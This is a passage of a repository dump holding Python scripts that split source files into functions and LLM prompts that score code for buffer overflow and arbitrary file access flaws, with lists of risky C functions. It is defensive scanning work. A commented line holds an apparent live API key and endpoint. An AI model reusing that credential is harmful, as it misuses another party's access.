stack\r\n            for char in stripped_line:\r\n                if char == \"{\":\r\n                    stack.append(\"{\")\r\n                elif char == \"}\":\r\n                    if stack:\r\n                        stack.pop()\r\n\r\n            # If the stack is empty, the function is complete\r\n            if not stack:\r\n                functions.append(\"\".join(current_function))\r\n                current_function = []\r\n                inside_function = False\r\n                signature_detected = False\r\n\r\n        elif signature_detected:\r\n            # Handle multi-line function signature\r\n            current_function.append(line)\r\n            if \"{\" in stripped_line:\r\n                inside_function = True\r\n                for char in stripped_line:\r\n                    if char == \"{\":\r\n                        stack.append(\"{\")\r\n                    elif char == \"}\":\r\n                        if stack:\r\n                            stack.pop()\r\n\r\n    return functions\r\n\r\n\r\ndef save_functions_to_files(functions, file_name, output_dir):\r\n    \"\"\"\r\n    Save extracted functions to individual txt files.\r\n    :param functions: List of extracted functions\r\n    :param file_name: Original file name (without path)\r\n    :param output_dir: Path to the output directory\r\n    \"\"\"\r\n    if not os.path.exists(output_dir):\r\n        os.makedirs(output_dir)\r\n\r\n    for i, function in enumerate(functions):\r\n        output_file = os.path.join(output_dir, f\"{file_name}_function_{i + 1}.txt\")\r\n        with open(output_file, 'w', encoding='utf-8') as file:\r\n            file.write(function)\r\n\r\n\r\ndef process_c_files(input_dir):\r\n    \"\"\"\r\n    Process all C files in the specified directory.\r\n    :param input_dir: Path to the input directory\r\n    \"\"\"\r\n    functions = []\r\n    for root, _, files in os.walk(input_dir):\r\n        for file in files:\r\n            if file.endswith('.c') or file.endswith('.cpp') or file.endswith('.h'):\r\n                file_path = os.path.join(root, file)\r\n                file_name = os.path.splitext(file)[0]\r\n                output_dir = input_dir+f\"\\{file_name}_result\"\r\n\r\n                print(f\"Processing file: {file_path}\")\r\n                functions += extract_c_functions_with_stack(file_path)\r\n    return functions\r\n\r\n"
  },
  {
    "path": "task2_source_code/first_version/Splitting_function_CC.py",
    "content": "import os\r\nimport re\r\n\r\n\r\ndef extract_c_functions_with_stack(file_path):\r\n    \"\"\"\r\n    Extract all functions from a C/C++ file using a stack-based approach to ensure complete function bodies.\r\n    :param file_path: Path to the C/C++ file\r\n    :return: A list of all function code blocks\r\n    \"\"\"\r\n    with open(file_path, 'r', encoding='utf-8') as file:\r\n        lines = file.readlines()\r\n\r\n    functions = []\r\n    stack = []\r\n    current_function = []\r\n    inside_function = False\r\n    signature_detected = False\r\n\r\n    for line in lines:\r\n        stripped_line = line.strip()\r\n\r\n        # Detect potential function signature\r\n        if not inside_function and re.match(r\"^[\\w\\s\\*\\&]+[\\w\\*]+\\s*\\([^)]*\\)\\s*\\{?$\", stripped_line):\r\n            signature_detected = True\r\n            inside_function = True\r\n            current_function.append(line)\r\n\r\n        elif inside_function:\r\n            current_function.append(line)\r\n\r\n            # Track opening and closing braces using a stack\r\n            for char in stripped_line:\r\n                if char == \"{\":\r\n                    stack.append(\"{\")\r\n                elif char == \"}\":\r\n                    if stack:\r\n                        stack.pop()\r\n\r\n            # If the stack is empty, the function is complete\r\n            if not stack:\r\n                functions.append(\"\".join(current_function))\r\n                current_function = []\r\n                inside_function = False\r\n                signature_detected = False\r\n\r\n        elif signature_detected:\r\n            # Handle multi-line function signature\r\n            current_function.append(line)\r\n            if \"{\" in stripped_line:\r\n                inside_function = True\r\n                for char in stripped_line:\r\n                    if char == \"{\":\r\n                        stack.append(\"{\")\r\n                    elif char == \"}\":\r\n                        if stack:\r\n                            stack.pop()\r\n\r\n    return functions\r\n\r\n\r\ndef save_functions_to_files(functions, file_name, output_dir):\r\n    \"\"\"\r\n    Save extracted functions to individual txt files.\r\n    :param functions: List of extracted functions\r\n    :param file_name: Original file name (without path)\r\n    :param output_dir: Path to the output directory\r\n    \"\"\"\r\n    if not os.path.exists(output_dir):\r\n        os.makedirs(output_dir)\r\n\r\n    for i, function in enumerate(functions):\r\n        output_file = os.path.join(output_dir, f\"{file_name}_function_{i + 1}.txt\")\r\n        with open(output_file, 'w', encoding='utf-8') as file:\r\n            file.write(function)\r\n\r\n\r\ndef process_c_files(input_dir):\r\n    \"\"\"\r\n    Process all C files in the specified directory.\r\n    :param input_dir: Path to the input directory\r\n    \"\"\"\r\n    functions=[]\r\n    for root, _, files in os.walk(input_dir):\r\n        for file in files:\r\n            if file.endswith('.c') or file.endswith('.cpp') or file.endswith('.h') or file.endswith('.cc'):\r\n                file_path = os.path.join(root, file)\r\n                file_name = os.path.splitext(file)[0]\r\n                output_dir = input_dir+f\"\\{file_name}_result\"\r\n\r\n                print(f\"Processing file: {file_path}\")\r\n                functions += extract_c_functions_with_stack(file_path)\r\n                if functions:\r\n                    save_functions_to_files(functions, file_name, output_dir)\r\n                    print(f\"Processing complete. Functions saved in: {output_dir}\")\r\n                else:\r\n                    print(f\"No functions found in file: {file_path}\")\r\n\r\n    return functions"
  },
  {
    "path": "task2_source_code/first_version/Splitting_function_go.py",
    "content": "import os\r\nimport re\r\n\r\ndef extract_functions_with_receivers(input_directory):\r\n    out_funtions=[]\r\n    # 获取指定目录下的所有 .go 文件\r\n    go_files = [f for f in os.listdir(input_directory) if f.endswith('.go')]\r\n    \r\n    for go_file in go_files:\r\n        # 获取当前文件路径和文件名\r\n        file_path = os.path.join(input_directory, go_file)\r\n        file_name, _ = os.path.splitext(go_file)\r\n        output_directory = os.path.join(input_directory, f\"{file_name}_result\")\r\n        \r\n        # 创建结果存储文件夹\r\n        os.makedirs(output_directory, exist_ok=True)\r\n        \r\n        with open(file_path, 'r', encoding='utf-8') as file:\r\n            lines = file.readlines()\r\n        \r\n        # 初始化变量\r\n        functions = []\r\n        current_function = []\r\n        stack = []  # 用于跟踪大括号的堆栈\r\n        inside_function = False\r\n        \r\n        # 改进后的正则表达式，支持接收器和多行定义\r\n        func_start_pattern = re.compile(r'^func\\s+(\\(\\w+\\s+\\*?\\w+\\)\\s+)?\\w+\\(.*\\)\\s*{?')\r\n        \r\n        for line in lines:\r\n            if not inside_function:\r\n                # 检测函数定义的起始\r\n                match = func_start_pattern.match(line)\r\n                if match:\r\n                    inside_function = True\r\n                    current_function.append(line)\r\n                    \r\n                    # 检查是否有未闭合的 `{`，如果有则记录\r\n                    if '{' in line and '}' not in line:\r\n                        stack.append('{')\r\n            else:\r\n                # 当前在函数体内，累积函数内容\r\n                current_function.append(line)\r\n                \r\n                # 检查大括号，更新堆栈状态\r\n                for char in line:\r\n                    if char == '{':\r\n                        stack.append('{')\r\n                    elif char == '}':\r\n                        if stack:\r\n                            stack.pop()\r\n                \r\n                # 如果堆栈为空，函数结束\r\n                if not stack:\r\n                    functions.append(\"\".join(current_function))\r\n                    current_function = []\r\n                    inside_function = False\r\n        \r\n        out_funtions+=functions\r\n    return out_funtions\r\n"
  },
  {
    "path": "task2_source_code/first_version/Splitting_function_java.py",
    "content": "import os\r\n\r\n\r\ndef extract_java_functions_with_stack(file_path):\r\n    \"\"\"\r\n    Extract all functions from a Java file using a stack-based approach to ensure complete function bodies.\r\n    :param file_path: Path to the Java file\r\n    :return: A list of all function code blocks\r\n    \"\"\"\r\n    with open(file_path, 'r', encoding='utf-8') as file:\r\n        lines = file.readlines()\r\n\r\n    functions = []\r\n    stack = []\r\n    current_function = []\r\n    inside_function = False\r\n\r\n    for line in lines:\r\n        stripped_line = line.strip()\r\n\r\n        # Check for potential function signature\r\n        if not inside_function and (\"{\" in stripped_line or \"(\" in stripped_line) and \")\" in stripped_line:\r\n            # Basic heuristic for identifying function signatures\r\n            if any(keyword in stripped_line for keyword in [\"public\", \"private\", \"protected\", \"void\", \"int\", \"String\"]):\r\n                inside_function = True\r\n\r\n        if inside_function:\r\n            current_function.append(line)\r\n\r\n            # Track opening and closing braces using a stack\r\n            for char in stripped_line:\r\n                if char == \"{\":\r\n                    stack.append(\"{\")\r\n                elif char == \"}\":\r\n                    if stack:\r\n                        stack.pop()\r\n\r\n            # If the stack is empty, the function is complete\r\n            if inside_function and not stack:\r\n                functions.append(\"\".join(current_function))\r\n                current_function = []\r\n                inside_function = False\r\n\r\n    return functions\r\n\r\n\r\ndef save_functions_to_files(functions, file_name, output_dir):\r\n    \"\"\"\r\n    Save extracted functions to individual txt files.\r\n    :param functions: List of extracted functions\r\n    :param file_name: Original file name (without path)\r\n    :param output_dir: Path to the output directory\r\n    \"\"\"\r\n    if not os.path.exists(output_dir):\r\n        os.makedirs(output_dir)\r\n\r\n    for i, function in enumerate(functions):\r\n        output_file = os.path.join(output_dir, f\"{file_name}_function_{i + 1}.txt\")\r\n        with open(output_file, 'w', encoding='utf-8') as file:\r\n            file.write(function)\r\n\r\n\r\ndef process_java_files(input_dir):\r\n    \"\"\"\r\n    Process all Java files in the specified directory.\r\n    :param input_dir: Path to the input directory\r\n    \"\"\"\r\n    functions=[]\r\n    for root, _, files in os.walk(input_dir):\r\n        for file in files:\r\n            if file.endswith('.java'):\r\n                file_path = os.path.join(root, file)\r\n                file_name = os.path.splitext(file)[0]\r\n                output_dir = input_dir+f\"\\{file_name}_result\"\r\n\r\n                print(f\"Processing file: {file_path}\")\r\n                functions += extract_java_functions_with_stack(file_path)\r\n    return functions\r\n\r\n\r\n"
  },
  {
    "path": "task2_source_code/first_version/Splitting_function_php.py",
    "content": "import os\r\nimport re\r\n\r\ndef extract_php_functions_with_context(file_path):\r\n    \"\"\"\r\n    使用栈从PHP文件中提取函数定义，支持类上下文信息\r\n    :param file_path: PHP文件路径\r\n    :return: 函数列表，每个元素是一个函数的完整定义\r\n    \"\"\"\r\n    functions = []\r\n    stack = []\r\n    current_function = []\r\n    inside_function = False\r\n    class_context = []\r\n\r\n    # 正则匹配\r\n    function_start_pattern = re.compile(r'^function\\s+\\w+\\s*\\(.*\\)\\s*{')\r\n    class_start_pattern = re.compile(r'^class\\s+\\w+\\s*{')\r\n\r\n    with open(file_path, 'r', encoding='utf-8') as f:\r\n        lines = f.readlines()\r\n\r\n    for line in lines:\r\n        stripped_line = line.strip()\r\n\r\n        # 检测类定义的起始\r\n        if class_start_pattern.search(stripped_line) and not inside_function:\r\n            class_context.append(line)\r\n            stack.append('{')\r\n            continue\r\n\r\n        # 检测函数定义的起始\r\n        if function_start_pattern.search(stripped_line):\r\n            # 如果当前已在记录函数，则先保存并结束\r\n            if current_function:\r\n                functions.append(''.join(class_context + current_function))\r\n                current_function = []\r\n\r\n            inside_function = True\r\n            current_function.append(line)  # 记录函数起始行\r\n            stack.append('{')  # 函数起始，压栈\r\n            continue\r\n\r\n        # 如果已进入函数定义，记录内容\r\n        if inside_function:\r\n            current_function.append(line)\r\n            # 检测大括号的开闭\r\n            for char in line:\r\n                if char == '{':\r\n                    stack.append('{')\r\n                elif char == '}':\r\n                    if stack:\r\n                        stack.pop()\r\n\r\n            # 栈为空时，函数结束\r\n            if not stack:\r\n                functions.append(''.join(class_context + current_function))\r\n                current_function = []\r\n                inside_function = False\r\n\r\n    # 处理文件末尾的残余函数\r\n    if current_function:\r\n        functions.append(''.join(class_context + current_function))\r\n\r\n    return functions\r\n\r\ndef save_functions_to_files(functions, result_dir):\r\n    \"\"\"\r\n    将函数列表保存为单独的txt文件\r\n    :param functions: 函数内容列表\r\n    :param result_dir: 保存目录路径\r\n    \"\"\"\r\n    if not os.path.exists(result_dir):\r\n        os.makedirs(result_dir)\r\n    \r\n    for idx, func in enumerate(functions):\r\n        file_name = os.path.join(result_dir, f'function_{idx + 1}.txt')\r\n        with open(file_name, 'w', encoding='utf-8') as f:\r\n            f.write(func)\r\n\r\ndef process_php_file(file_path):\r\n    \"\"\"\r\n    处理单个PHP文件，提取函数并保存\r\n    :param file_path: PHP文件路径\r\n    \"\"\"\r\n    result_dir = f\"{os.path.splitext(file_path)[0]}_result\"\r\n    \r\n    print(f\"Processing {file_path}...\")\r\n    try:\r\n        functions = extract_php_functions_with_context(file_path)\r\n        save_functions_to_files(functions, result_dir)\r\n        print(f\"Extracted {len(functions)} functions from {file_path}.\")\r\n    except Exception as e:\r\n        print(f\"Error processing {file_path}: {e}\")\r\n    return functions\r\n\r\ndef process_php_files_in_directory(directory):\r\n    \"\"\"\r\n    扫描指定目录下的所有PHP文件并处理\r\n    :param directory: 目录路径\r\n    \"\"\"\r\n    functions=[]\r\n    for root, _, files in os.walk(directory):\r\n        for file in files:\r\n            if file.endswith('.php'):\r\n                file_path = os.path.join(root, file)\r\n                functions+=process_php_file(file_path)\r\n    return functions\r\n"
  },
  {
    "path": "task2_source_code/first_version/Splitting_function_py.py",
    "content": "import os\r\nimport ast\r\n\r\ndef extract_functions_from_file(file_path):\r\n    \"\"\"\r\n    Extract all functions from a single Python file and return a dictionary.\r\n    Keys are function names, and values are the full code of the functions.\r\n    \"\"\"\r\n    print(f\"[DEBUG] Attempting to read file: {file_path}\")\r\n    with open(file_path, 'r', encoding='utf-8') as file:\r\n        file_content = file.read()\r\n\r\n    try:\r\n        # Parse Python code using the AST module\r\n        tree = ast.parse(file_content)\r\n        print(f\"[DEBUG] Successfully parsed file: {file_path}\")\r\n    except SyntaxError as e:\r\n        print(f\"[ERROR] Syntax error in file: {file_path} - {e}\")\r\n        return {}\r\n\r\n    functions = {}\r\n    for node in ast.walk(tree):\r\n        if isinstance(node, ast.FunctionDef):  # Find function definitions\r\n            func_name = node.name\r\n            func_code = ast.get_source_segment(file_content, node)\r\n            functions[func_name] = func_code\r\n            print(f\"[DEBUG] Extracted function: {func_name}\")\r\n\r\n    print(f\"[INFO] Total functions extracted from {file_path}: {len(functions)}\")\r\n    return functions\r\n\r\n\r\ndef save_functions_to_files(functions, output_dir):\r\n    \"\"\"\r\n    Save extracted functions as individual txt files.\r\n    \"\"\"\r\n    print(f\"[DEBUG] Preparing to save functions to directory: {output_dir}\")\r\n    if not os.path.exists(output_dir):\r\n        os.makedirs(output_dir)\r\n        print(f\"[DEBUG] Created output directory: {output_dir}\")\r\n\r\n    for idx, (func_name, func_code) in enumerate(functions.items(), start=1):\r\n        # Ensure unique filenames\r\n        sanitized_name = func_name.replace('<', '').replace('>', '').replace(':', '_')\r\n        output_file = os.path.join(output_dir, f\"{idx}_{sanitized_name}.txt\")\r\n        try:\r\n            with open(output_file, 'w', encoding='utf-8') as file:\r\n                file.write(func_code)\r\n            print(f\"[INFO] Saved function: {func_name} to {output_file}\")\r\n        except Exception as e:\r\n            print(f\"[ERROR] Failed to save function: {func_name} - {e}\")\r\n\r\n\r\ndef process_python(input_dir):\r\n    \"\"\"\r\n    Traverse all Python files in the directory and extract functions.\r\n    \"\"\"\r\n    print(f\"[DEBUG] Starting directory traversal: {input_dir}\")\r\n    if not os.path.isdir(input_dir):\r\n        print(f\"[ERROR] Invalid directory: {input_dir}\")\r\n        return\r\n    functions = []\r\n    for root, _, files in os.walk(input_dir):\r\n        for file_name in files:\r\n            if file_name.endswith('.py'):\r\n                file_path = os.path.join(root, file_name)\r\n                print(f\"[INFO] Processing file: {file_path}\")\r\n\r\n                # Extract functions\r\n                functions += extract_functions_from_file(file_path)\r\n    return functions\r\n\r\n\r\n"
  },
  {
    "path": "task2_source_code/first_version/Splitting_jsp.py",
    "content": "import os\r\n\r\ndef split_jsp_files(directory, max_chars=14000):\r\n    functions=[]\r\n    \"\"\"\r\n    Splits .jsp files in the specified directory into smaller files of up to `max_chars` characters.\r\n    \r\n    Args:\r\n        directory (str): The path of the directory containing .jsp files.\r\n        max_chars (int): Maximum number of characters in each split file.\r\n    \"\"\"\r\n    # Ensure the provided directory exists\r\n    if not os.path.isdir(directory):\r\n        print(f\"Error: The directory '{directory}' does not exist.\")\r\n        return\r\n    \r\n    # Get all .jsp files in the directory\r\n    jsp_files = [f for f in os.listdir(directory) if f.endswith('.jsp')]\r\n    if not jsp_files:\r\n        print(f\"No .jsp files found in the directory: {directory}\")\r\n        return\r\n\r\n    # Process each .jsp file\r\n    for jsp_file in jsp_files:\r\n        filepath = os.path.join(directory, jsp_file)\r\n        with open(filepath, 'r', encoding='utf-8') as file:\r\n            content = file.read()\r\n        \r\n        # Split content into chunks\r\n        chunks = [content[i:i+max_chars] for i in range(0, len(content), max_chars)]\r\n        \r\n        # Create a result directory for the split files\r\n        result_dir = os.path.join(directory, f\"{jsp_file}_result\")\r\n        os.makedirs(result_dir, exist_ok=True)\r\n        functions+=chunks\r\n    return functions"
  },
  {
    "path": "task2_source_code/first_version/arbitrary.py",
    "content": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, SystemMessage\r\nfrom langchain.prompts import PromptTemplate,ChatPromptTemplate\r\nfrom langchain.chains import LLMChain, SimpleSequentialChain\r\n\r\nfrom langchain.prompts import (\r\n    ChatPromptTemplate,\r\n    PromptTemplate,\r\n    SystemMessagePromptTemplate,\r\n    AIMessagePromptTemplate,\r\n    HumanMessagePromptTemplate\r\n)\r\nfrom langchain.output_parsers import StructuredOutputParser, ResponseSchema\r\nfrom langchain.schema import (\r\n    AIMessage,\r\n    HumanMessage,\r\n    SystemMessage\r\n)\r\nimport re\r\nSystemPrompt = PromptTemplate(\r\n    template=\"You are a cybersecurity engineer, and your task is to analyze the provided code snippet and the potential vulnerability types to identify the function in the given code where the vulnerability is most likely to occur.\",\r\n)\r\n\r\n\r\nHumanPromptStep2 = PromptTemplate(\r\n    template=\"\"\"\r\n\t\tUser question:Please analyze the provided specific code of a series of functions to determine if any of these functions contain potential Arbitrary File Access vulnerabilities ,Your analysis must consider:\r\n\t\tUser Input Flow: Analyze how user input flows into file operations like open(). Look for cases where input affects the file path.\r\n\t\tSanitization: Check if user input is validated for malicious patterns like ../../, symbolic links, or special characters.\r\n\t\tFile Access Permissions: Ensure file operations check proper permissions before allowing \r\n\t\r\n                <context>\r\n                {code_context}\r\n                </context>\r\n                answer user's question with the information in <context>\r\n                output format: {format_instructions}\r\n                an example of output is:curly_brace\"functions\": [curly_brace \"name\": \"daemonCheck\",\"confidence\": 10 end_curly_brace,curly_brace \"name\": \"daemonControl\",\"confidence\": 30 end_curly_brace] end_curly_brace\r\n\r\n                Let's analyze each function step by step based on the code I provide. We will consider each function independently and, based on the analysis criteria I give, assign a confidence score to each function.:\r\n                1.Determine whether there is File I/O Functions like open(), fopen(), read(), write(), fseek() etc. if exists, add 10 points to the confidence level\r\n                2.Consider Path Traversal: Add 20 points for any file I/O functions that directly handle user-controlled file paths.\r\n                3.Consider Unsafe Path Handling: Add 20 points for any cases where user input is concatenated into file paths.\r\n                4.Consider Lack of Permissions Check: Add 20 points for failure to check file access permissions.\r\n            \"\"\",\r\n    input_variables=[\"code_context\"]\r\n)\r\n\r\nresponse_schemas_step2 = [\r\n    ResponseSchema(name=\"functions\", description=\"a list of function names with their respective confidence levels\")\r\n\r\n]\r\n\r\nlength_limit=14000\r\n\r\ndef check_output_regex(output):\r\n    pattern = r\"maximum context length is 8000 tokens\"\r\n    if re.search(pattern, output):\r\n        return 1\r\n    else:\r\n        return 0\r\n\r\ndef llm_api_step2(prompt_code, key_env, base_env):\r\n    global length_limit\r\n    llm = ChatOpenAI(\r\n        streaming=True,\r\n        verbose=True,\r\n        # key和base开赛后提供\r\n        openai_api_key=key_env,\r\n        openai_api_base=base_env,\r\n        model_name='tq-gpt',\r\n        timeout=300\r\n    )\r\n    if len(prompt_code)>length_limit:\r\n        prompt_code = prompt_code[:length_limit]\r\n    # create HumanMessagePromptTemplate\r\n    HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2)\r\n    SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt)\r\n    # conbine Prompt\r\n    chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt])\r\n\r\n    output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2)\r\n\r\n    format_instructions = output_parser.get_format_instructions()\r\n    #prompt = split_prompt(prompt, 6000)\r\n\r\n    chain=LLMChain(llm=llm, prompt=chat_template)\r\n    try:\r\n        output = chain.run(code_context=prompt_code,format_instructions=format_instructions)\r\n        print(output)\r\n        json_out=output_parser.parse(output)\r\n        # AI may regard a content to be None not NULL\r\n        # Change later\r\n        for i in range(10):\r\n            if json_out[\"functions\"]:\r\n                break\r\n            output = chain.run(code_context=prompt_code,format_instructions=format_instructions)\r\n            #print(output)\r\n            json_out=output_parser.parse(output)\r\n        return json_out\r\n    except Exception as e:\r\n        print(f\"Request timed out. {e}\")\r\n        if check_output_regex(str(e)) == 1:\r\n            length_limit = length_limit - 2000\r\n        return None\r\n    \r\ndef check_arbitrary(prompt_code, key_env, base_env):\r\n    global length_limit\r\n    length_limit = 14000\r\n    json_out=llm_api_step2(prompt_code, key_env, base_env)\r\n    for i in range(50):\r\n        if json_out is not None:\r\n            break\r\n        json_out=llm_api_step2(prompt_code, key_env, base_env)\r\n    return json_out\r\n\r\n# check by yourself\r\n#filepath='a'\r\n#with open(file_path, encoding='utf-8') as file:\r\n#    file_content = file.read()\r\n#json_out=check_arbitrary(file_content, \"8bb73128d0b5732a1e0723f922245df8\", 'https://poc.qianxin.com')\r\n"
  },
  {
    "path": "task2_source_code/first_version/bof.py",
    "content": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, SystemMessage\r\nfrom langchain.prompts import PromptTemplate,ChatPromptTemplate\r\nfrom langchain.chains import LLMChain, SimpleSequentialChain\r\n\r\nfrom langchain.prompts import (\r\n    ChatPromptTemplate,\r\n    PromptTemplate,\r\n    SystemMessagePromptTemplate,\r\n    AIMessagePromptTemplate,\r\n    HumanMessagePromptTemplate\r\n)\r\nfrom langchain.output_parsers import StructuredOutputParser, ResponseSchema\r\nfrom langchain.schema import (\r\n    AIMessage,\r\n    HumanMessage,\r\n    SystemMessage\r\n)\r\nimport re\r\nSystemPrompt = PromptTemplate(\r\n    template=\"You are a cybersecurity engineer, you understand and are familiar with various languages including but not limited to decompiled pseudocode, C, C++, java, python, go, js, and you are an Expert in buffer overflow vulnerability analysis. Your task is to analyze the provided code snippet to identify the function in the given code where the vulnerability is most likely to occur.\",\r\n)\r\n\r\nhigh_risky_functions=\"strcpy;strcat;sprintf;gets;scanf;sscanf;fscanf;vscanf;malloc;calloc;realloc;bcopy;fmt.Scanln;fmt.Fscanf;fmt.Scan;unsafe.Pointer\"\r\nlow_risky_functions=\"strncpy;strncat;snprintf;fgets;memcpy;memmove;memset;bytes.Buffer.WriteString\"\r\nHumanPromptStep2 = PromptTemplate(\r\n    template=\"\"\"\r\n\t\tUser question:Please analyze the provided specific code to determine if any function contain potential Buffer Overflow vulnerabilities, and provide a confidence score for your assessment. Buffer overflow vulnerability catagories includes:\r\n\t\tDangerous buffer Options: Unsafe buffer operations such as strcpy, strcat, memmove, sprintf, etc.;\r\n        Unsafe Stdin Read: Reading the content from stdin to a buffer(eg:gets, sscanf, etc. can read stdin as source buffer and copy its content into target buffer);\r\n        Format String Processing: Reading string content through %s format[eg: sprintf(a,\"%s\",b)];\r\n\t\tArray Boundaries: operations that access array elements out of bounds. For instance, any array index accesses that exceed the declared size of the array(usually occur in loops);\r\n        Heap vulnerabilities: buffer operations relevant to heap operations, such as memcpy and memmove;\r\n        Type Confusion: places where data might be treated as a different type and then bypass some length checks.[such as type confusion and interger overflow, consider an length limit len_a<10 with len_a=-1 and then use it as unsigned int in snprintf(a,b,(unsigned int)len_a)];\r\n        \r\n        Sanitization: If the following length check sanitizations occurs, the operation are usually no longer vulnerable:\r\n        Safe buffer operations: Some operation contains length checks such as strncpy, strncat, snprintf, etc. This will make an operation nearly not vulnerable unless the check has been bypassed.(eg: fixed length check parameter \"20\" in strncpy(a,b,20) and similiar functions are very strict length checks)\r\n        Dynamic target buffer: Some target buffer are dynamically created by heap operations and will never be smaller than the source buffer or the length limit.[eg:a=malloc(strlen(b));strcpy(a,b)]\r\n        Checked source buffer: Some source buffer has been length checked [eg: char a[10];if len(b) < 10 then strcpy(a,b) is not vulnerable because the if statement checked source buffer b to be smaller than 10];\r\n        Buffer length limitations: Any buffer copy whose length is smaller than the definition of the target buffer is not vulnerable anymore.(For example, in the code char a[20], strncpy(a, b, 20), length check is \"20\" and the definition of the buffer size is also 20, so it won't overflow)\r\n)\r\n\r\n        <context>\r\n        {code_context}\r\n        </context>\r\n        answer user's question with the information in <context>\r\n        output format: {format_instructions}\r\n        an example of output is:curly_brace\"functions\": [curly_brace \"name\": \"daemonCheck\",\"confidence\": 10 end_curly_brace,curly_brace \"name\": \"daemonControl\",\"confidence\": 30 end_curly_brace] end_curly_brace\r\n\r\n        Let's analyze each function step by step based on the code I provide. We will consider each function independently and, based on the analysis criteria I give, assign a confidence score(0-10)(only one function has the top score) to each function.:\r\n        1.When calculating confidence, first, consider each buffer overflow vulnerability catagory and other similar catagories that is not metioned. Consider the vulnerability exist if an operation is not diretly in a type but is highly relevant to it;\r\n        2.If the function contains dangerous operations listed in {high_risk_functions}, these functions have no length checks so the confidence score should be higher than 7.\r\n        3.If a length check of memcpy is just strlen of the source buffer, the length check has no use and the confidence should still be greater than 7 [eg:memcpy(a,b,strlen(b)), this operation may be seperated into several operations];\r\n        4.Some dangerous operations are listed in {low_risk_functions}, these functions have length check parameters so th confidence score should be less than 6.\r\n        5.Functions with similar names and patterns but not in the above two lists or other vulnerable operations not listed in the list should have confidence less than 4.\r\n        6.Consider the three sanitization types, consider dataflow between functions to check source buffer sanitization, the confidence score of the operation with sanitizations must be lower than those without sanitizations;\r\n        7.Consider bypass of sanitizations, if there is a bypass of length checks, the confidence should be higher than those without bypass, but should still be lower than those operations without sanitizations.\r\n        8.If the risk come from a function without symbol information, it is no longer considered as a vulnerability and should have a very low score.[eg: sub_a(str1,str2) might be a dangerous buffer operation function, but there are no symbol that ensure its vulnerability, so the confidence is very low]\r\n        9.The confidence of the function is the same as the highest confidence of an dangerous operation in it.(highest, not sum, if operation1 has score 2, operation2 has score 3, funtion confidence is 3)\r\n        10.Be careful with hex, the code given to you is very likely to be some decompiled procedures.(eg:0x10 is equal to 16 and may be a strict length check sanitization).\r\n        11.Please make sure that the output json is a legal json file and output your analysis process of each step, recheck if an answer contradicts criterias 1-10.            \r\n\r\n            \"\"\",\r\n    input_variables=[\"code_context\",\"high_risk_functions\",\"low_risk_functions\"]\r\n)\r\n\"\"\"\r\n2.Add 90 points if there are some stdin input such as gets or webgetvar(always assume stdin input to be very large) and this input parsed into a buffer without length check.\r\n        3.Add 90 points if there is vulnerable buffer operation without any length check before it, such as the use of strcpy or sscanf without checking the target buffer size.\r\n        4.Add 60 points if there is a high likelihood of a buffer overflow, there are some length checks, but the check may be bypassed and the source buffer can still be bigger than the target buffer.\r\n        5.Add 40 points if there it can not match step 2-4, but there may still be hidden risks.\r\n        6.Minus 30 points if the lengths used in an operation does not exceed the buffer size definition. Check source buffer definition and operation length check carefully.\r\n            For example, in the code char a[20]; strncpy(a, b, 20);, verify whether the length check (20) could cause an overflow based on the buffer size (also 20, won't overflow)\r\n        7.Minus 20 points if the risk come from a function without symbol information.(eg: sub_a(str1,str2) might be a dangerous buffer operation function, but there are no symbol that ensure its vulnerability)\r\n        8.Recheck the length limitations of the buffer overflow dangerous operation, consider dataflow cross functions, assume the length of the target buffer and the max length of the source buffer, minus 40 points(no less than 0) if the check suggest that source buffer won't be longer than target buffer.\r\n        9.Add 50 point if there is a bypass of length limitation.\r\n\"\"\"\r\nresponse_schemas_step2 = [\r\n    ResponseSchema(name=\"functions\", description=\"a list of function names with their respective confidence levels\")\r\n\r\n]\r\nlength_limit=14000\r\n\r\ndef check_output_regex(output):\r\n    pattern = r\"maximum context length is 8000 tokens\"\r\n    if re.search(pattern, output):\r\n        return 1\r\n    else:\r\n        return 0\r\n    \r\ndef llm_api_step2(prompt_code, key_env, base_env):\r\n    global length_limit\r\n    if len(prompt_code)>length_limit:\r\n        prompt_code = prompt_code[:length_limit]\r\n    llm = ChatOpenAI(\r\n        streaming=True,\r\n        verbose=True,\r\n        # key和base开赛后提供\r\n        openai_api_key=key_env,\r\n        openai_api_base=base_env,\r\n        model_name='tq-gpt',\r\n        timeout=300\r\n    )\r\n    # create HumanMessagePromptTemplate\r\n    HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2)\r\n    SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt)\r\n    # conbine Prompt\r\n    chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt])\r\n\r\n    output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2)\r\n\r\n    format_instructions = output_parser.get_format_instructions()\r\n    #prompt = split_prompt(prompt, 6000)\r\n\r\n    chain=LLMChain(llm=llm, prompt=chat_template)\r\n    try:\r\n        output = chain.run(code_context=prompt_code,format_instructions=format_instructions,high_risk_functions=high_risky_functions,low_risk_functions=low_risky_functions)\r\n        print(output)\r\n        json_out=output_parser.parse(output)\r\n        # AI may regard a content to be None not NULL\r\n        # Change later\r\n        for i in range(10):\r\n            if json_out[\"functions\"]:\r\n                break\r\n            output = chain.run(code_context=prompt_code,format_instructions=format_instructions,high_risk_functions=high_risky_functions,low_risk_functions=low_risky_functions)\r\n            #print(output)\r\n            json_out=output_parser.parse(output)\r\n        return json_out\r\n    except Exception as e:\r\n        print(f\"Request timed out. {e}\")\r\n        if check_output_regex(str(e)) == 1:\r\n            length_limit = length_limit - 2000\r\n        return None\r\n    \r\ndef check_bof(prompt_code, key_env, base_env):\r\n    global length_limit\r\n    length_limit = 14000\r\n    json_out=llm_api_step2(prompt_code, key_env, base_env)\r\n    for i in range(50):\r\n        if json_out is not None:\r\n            break\r\n        json_out=llm_api_step2(prompt_code, key_env, base_env)\r\n    return json_out\r\n\r\n"
  },
  {
    "path": "task2_source_code/first_version/bypass.py",
